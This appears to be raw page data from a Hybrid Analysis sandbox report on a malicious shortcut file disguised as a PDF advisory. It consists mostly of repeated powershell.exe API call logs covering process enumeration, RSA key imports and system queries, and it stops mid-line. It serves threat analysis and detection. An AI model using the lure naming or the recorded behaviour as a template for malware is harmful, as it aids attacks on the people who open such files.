21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 3a:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T429,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample cac4d4364d20… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample cac4d4364d20…. Threat score 100/100. 13/23 AV engines flagged this file. 0 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/cac4d4364d20fa343bf681f6544b31995a57d8f69ee606c4675db60be5ae8775","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","cac4d4364d20fa343bf681f6544b31995a57d8f69ee606c4675db60be5ae8775"],"about":{"@type":"SoftwareApplication","name":"Advisory23-UCDMS04-11-01.pdf.lnk","applicationCategory":["lnk"],"identifier":"cac4d4364d20fa343bf681f6544b31995a57d8f69ee606c4675db60be5ae8775","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":13,"total":23},"behavioralIndicators":{"malicious":0,"suspicious":5},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T539,"powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-694080442 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-694088016 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-694910956 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-694918625 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-696609327 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-696616837 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-697077231 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-697108330 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-698720507 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-699125507 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-699133079 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-703349469 [PID: 1412] "powershell.exe" queried SystemProcessInformation at 00000000-00001412-00000C13-703356981 [PID: 1412]23:T1252,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e04ac6baf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "7048c6baf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e044c6baf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "50f5c7baf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b0f5c7baf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "60f1c7baf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b0efc7baf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0f4c7baf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "3081c9baf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "4082cbbaf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d07ccbbaf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "107fcbbaf2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "208c9aa0f2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bac665a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b08c9aa0f2010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bad177c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "2077c9baf2010000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bad0e760" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e08c9aa0f2010000" "pbInput": "RSA1" "cbInput": "547" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bad0e760" "pszBlobType": "RSAPUBLICBLOB" "phKey": "7017d1baf2010000" "pbInput": "RSA1" "cbInput": "547" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bad177c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b010d1baf2010000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bad177c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "8013d1baf2010000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bad177c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "700ed1baf2010000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bad177c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "400ed1baf2010000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bad0e760" "pszBlobType": "RSAPUBLICBLOB" "phKey": "2019d1baf2010000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "bad0e760" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c018d1baf2010000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"}24:T2aa6,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e02fc6baf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "6027c6baf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "2079c7baf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "2077c7baf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a087c7baf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac795f0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "207ac7baf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac795f0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "207cc7baf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac795f0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "2089c7baf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac795f0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "207bc7baf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "70eccbbaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "70e6cbbaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f0eecbbaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac795f0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50fbcdbaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac795f0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d007cebaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac795f0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d0fbcdbaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50f7cdbaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "5001cebaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "5009cebaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d0edcdbaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac56830" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "5006cebaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac79b90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "5006cebaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac79b90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50edcdbaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac79b90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d0f9cdbaf2010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "bac79b90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d0fbcdbaf2010000"}25:T981,"powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "3068c5baf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "f095c7baf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "70a3c7baf2010000" "szProvider": "Microsoft Enhanced RSA and AES Cryptographic Provider" "dwProvType": "24" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "909bc7baf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70becebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10c4cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10b2cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "d0b8cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "f0b0cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70b5cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10bbcebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "b0c9cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "30b3cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "90b6cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70c7cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "90c8cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "50b4cebaf2010000" "dwProvType": "1" "dwFlags": "4026531840"}26:T1b3c,"powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938553bfc7f000080000000000000000000000000000000e0b58ea0f20100001033963dfc7f000000000000000000000000d83cfc7f0000f0d06790950000001041523bfc7f000080d58da0f2010000b0d0679095000000000000000000000000000000000000000100000000000000b840523bfc7f0000000000000000000001000000000000000000d83cfc7f00003b4de43afc7f0000000000000000000060d56790950000000000000000000000d02aea3cfc7f000010b3503dfc7f0000e8f8513bfc7f000010b3503dfc7f0000d02aea3cfc7f00000d000000fc7f00000d00000000000000a0f6403dfc7f0000f587e53cfc7f0000d02aea3c (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d580000020000000000000010778fa0f20100009a248fa0f2010000b0238fa0f201000098b167909500000088b167909500000088b167900100000098b36790950000004873af3bfc7f0000000000000000000010778fa0f2010000ef5eec38fc7f0000801d3d39fc7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000056248fa0f20100006c248fa0f201000056248fa0f20100009a248fa0f201000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000056248fa0 (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000a0788fa0f2010000ac258fa0f2010000c0248fa0f201000098b167909500000088b167909500000088b167900100000098b36790950000004873af3bfc7f00000000000000000000a0788fa0f2010000ef5eec38fc7f0000801d3d39fc7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000066258fa0f20100007e258fa0f201000066258fa0f2010000ac258fa0f201000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066258fa0 (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000a07d8fa0f201000068e78fa0f201000080e68fa0f201000098b167909500000088b167909500000088b167900100000098b36790950000004873af3bfc7f00000000000000000000a07d8fa0f2010000ef5eec38fc7f0000801d3d39fc7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000026e78fa0f20100003ae78fa0f201000026e78fa0f201000068e78fa0f201000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000026e78fa0 (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000601c8ea0f20100004c308fa0f2010000602f8fa0f201000098b167909500000088b167909500000088b167900100000098b36790950000004873af3bfc7f00000000000000000000601c8ea0f2010000ef5eec38fc7f0000801d3d39fc7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000006308fa0f20100001e308fa0f201000006308fa0f20100004c308fa0f201000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006308fa0 (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000907e8fa0f2010000aa258fa0f2010000c0248fa0f201000098b167909500000088b167909500000088b167900100000098b36790950000004873af3bfc7f00000000000000000000907e8fa0f2010000ef5eec38fc7f0000801d3d39fc7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000066258fa0f20100007c258fa0f201000066258fa0f2010000aa258fa0f201000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066258fa0 (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000e08d90a0f20100008c348fa0f2010000a0338fa0f201000098b167909500000088b167909500000088b167900100000098b36790950000004873af3bfc7f00000000000000000000e08d90a0f2010000ef5eec38fc7f0000801d3d39fc7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000046348fa0f20100005e348fa0f201000046348fa0f20100008c348fa0f201000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000046348fa0 (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000f09190a0f20100008c348fa0f2010000a0338fa0f201000098b167909500000088b167909500000088b167900100000098b36790950000004873af3bfc7f00000000000000000000f09190a0f2010000ef5eec38fc7f0000801d3d39fc7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000046348fa0f20100005e348fa0f201000046348fa0f20100008c348fa0f201000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000046348fa0 (UID: 00000000-00001412) "powershell.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001412)27:T963,"powershell.exe" queries volume information of "C:\" at 00000000-00001412-00000C15-694703993 "powershell.exe" queries volume information of "C:\" at 00000000-00001412-00000C15-694730839 "powershell.exe" queries volume information of "C:\" at 00000000-00001412-00000C15-694741311 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001412-00000C15-697322402 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00001412-00000C15-697599146 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001412-00000C15-697676397 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001412-00000C15-699009519 "powershell.exe" queries volume information of "C:\" at 00000000-00001412-00000C15-699326513 "powershell.exe" queries volume information of "C:\share" at 00000000-00001412-00000C15-699328037 "powershell.exe" queries volume information of "C:\share" at 00000000-00001412-00000C15-699387870 "powershell.exe" queries volume information of 